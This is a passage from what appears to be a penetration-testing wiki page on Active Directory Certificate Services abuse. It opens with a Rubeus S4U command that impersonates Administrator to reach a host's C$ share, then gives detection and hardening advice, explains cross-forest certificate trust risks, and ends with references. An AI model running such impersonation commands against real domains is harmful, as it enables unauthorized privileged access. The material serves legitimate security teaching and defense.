   1100 Rubeus.exe s4u /self /impersonateuser:Administrator `
   1101   /altservice:cifs/HOST.DOMAIN /ticket:BASE64_MACHINE_TGT /ptt /nowrap
   1102 
   1103 klist
   1104 dir \\HOST.DOMAIN\C$
   1105 ```
   1106 
   1107 The substituted ticket is usable only by services on the **same computer account/key** (here, CIFS on `HOST`). It is not a reusable Administrator ticket for other domain machines. Also, the demonstrated result is privileged SMB/filesystem access as Administrator; obtaining a local `NT AUTHORITY\SYSTEM` process still requires a separate remote-execution step.<sup>[[5]](#references)[[17]](#references)[[19]](#references)</sup>
   1108 
   1109 ### Detection and hardening
   1110 
   1111 - On the CA, correlate Certification Services events **4886** (request received) and **4887** (issued) for unexpected `Machine`-template requests by IIS server accounts.<sup>[[19]](#references)[[24]](#references)</sup>
   1112 - On DCs, event **4768** includes certificate fields when certificate pre-authentication is used; alert on unusual PKINIT TGT requests for web-server accounts. Follow with **4769** requests involving a privileged impersonated identity and the same host. Because Rubeus `/altservice` rewrites the KRB-CRED service name client-side, do not require the DC-side 4769 service name to be `cifs`.<sup>[[5]](#references)[[25]](#references)[[26]](#references)</sup>
   1113 - Hunt for `w3wp.exe` reaching CA RPC endpoints, unexpected ASPX creation, Kerberos-authenticated access to administrative shares, and secrets-dumping activity. Restrict app-tier access to CA RPC/KDC/SMB where possible and remove computer enrollment rights or machine-authentication templates that are not operationally required.<sup>[[19]](#references)</sup>
   1114 
   1115 ## Compromising Forests with Certificates Explained in Passive Voice
   1116 
   1117 ### Breaking of Forest Trusts by Compromised CAs
   1118 
   1119 The configuration for **cross-forest enrollment** is made relatively straightforward. The **root CA certificate** from the resource forest is **published to the account forests** by administrators, and the **enterprise CA** certificates from the resource forest are **added to the `NTAuthCertificates` and AIA containers in each account forest**. To clarify, this arrangement grants the **CA in the resource forest complete control** over all other forests for which it manages PKI. Should this CA be **compromised by attackers**, certificates for all users in both the resource and account forests could be **forged by them**, thereby breaking the security boundary of the forest.<sup>[[6]](#references)</sup>
   1120 
   1121 ### Enrollment Privileges Granted to Foreign Principals
   1122 
   1123 In multi-forest environments, caution is required concerning Enterprise CAs that **publish certificate templates** which allow **Authenticated Users or foreign principals** (users/groups external to the forest to which the Enterprise CA belongs) **enrollment and edit rights**.\
   1124 Upon authentication across a trust, the **Authenticated Users SID** is added to the user’s token by AD. Thus, if a domain possesses an Enterprise CA with a template that **allows Authenticated Users enrollment rights**, a template could potentially be **enrolled in by a user from a different forest**. Likewise, if **enrollment rights are explicitly granted to a foreign principal by a template**, a **cross-forest access-control relationship is thereby created**, enabling a principal from one forest to **enroll in a template from another forest**.
   1125 
   1126 Both scenarios lead to an **increase in the attack surface** from one forest to another. The settings of the certificate template could be exploited by an attacker to obtain additional privileges in a foreign domain.<sup>[[6]](#references)</sup>
   1127 
   1128 
   1129 ## References
   1130 
   1131 - [1] [aniqfakhrul/CVE-2026-54121 PoC repository](https://github.com/aniqfakhrul/CVE-2026-54121)
   1132 - [2] [H0j3n - Certighost technical analysis](https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26)
   1133 - [3] [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
   1134 - [4] [GhostPack/Certify](https://github.com/GhostPack/Certify)
   1135 - [5] [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus)
   1136 - [6] [SpecterOps – Certified Pre-Owned: Abusing Active Directory Certificate Services](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
   1137 - [7] [Oliver Lyak – Certipy 4.0: ESC9, ESC10, BloodHound GUI, New Authentication and Request Methods and more](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
   1138 - [8] [SpecterOps – Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover](https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/)
   1139 - [9] [CQure Academy – The Tale of Enhanced Key (mis)Usage](https://cqureacademy.com/blog/enhanced-key-usage)
   1140 - [10] [Compass Security – Relaying to AD Certificate Services over RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
   1141 - [11] [hajo – ESC12: Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
   1142 - [12] [SpecterOps – ADCS ESC13 Abuse Technique](https://specterops.io/blog/2024/02/14/adcs-esc13-abuse-technique/)
   1143 - [13] [SpecterOps – ADCS ESC14 Abuse Technique](https://specterops.io/blog/2024/02/28/adcs-esc14-abuse-technique/)
   1144 - [14] [Certipy Wiki – Privilege Escalation (ESC1-ESC17)](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation)
   1145 - [15] [TrustedSec – EKUwu: Not Just Another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
   1146 - [16] [Furious5 – AD CS ESC16: Misconfiguration and Exploitation](https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6)
   1147 - [17] [Charlie Clark – Revisiting “Delegate 2 Thyself”](https://exploit.ph/revisiting-delegate-2-thyself.html)
   1148 - [18] [incredibleindishell/Certi-Bhai – IIS AD CS enrollment PoC](https://github.com/incredibleindishell/Certi-Bhai/blob/main/IIS_Privilege_escalation/cert.aspx)
   1149 - [19] [Mannu Linux – Privilege Escalation from IIS AppPool via the AD CS RPC Endpoint](https://mannulinux.org/2026/08/Privilege-escalation-from-IIS-AppPool-to-NT-AuthoritySYSTEM-via-AD-CS-RPC-endpoint.html)
   1150 - [20] [Microsoft – Application Pool Identities](https://learn.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)
   1151 - [21] [Microsoft – ICertRequest::Submit](https://learn.microsoft.com/en-us/windows/win32/api/certcli/nf-certcli-icertrequest-submit)
   1152 - [22] [Microsoft Open Specifications – S4U2self](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13)
   1153 - [23] [OpenSSL – pkcs12 command](https://docs.openssl.org/3.6/man1/openssl-pkcs12/)
   1154 - [24] [Microsoft – Audit Certification Services](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/audit-certification-services)
   1155 - [25] [Microsoft – Event 4768: A Kerberos authentication ticket was requested](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768)
   1156 - [26] [Microsoft – Event 4769: A Kerberos service ticket was requested](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769)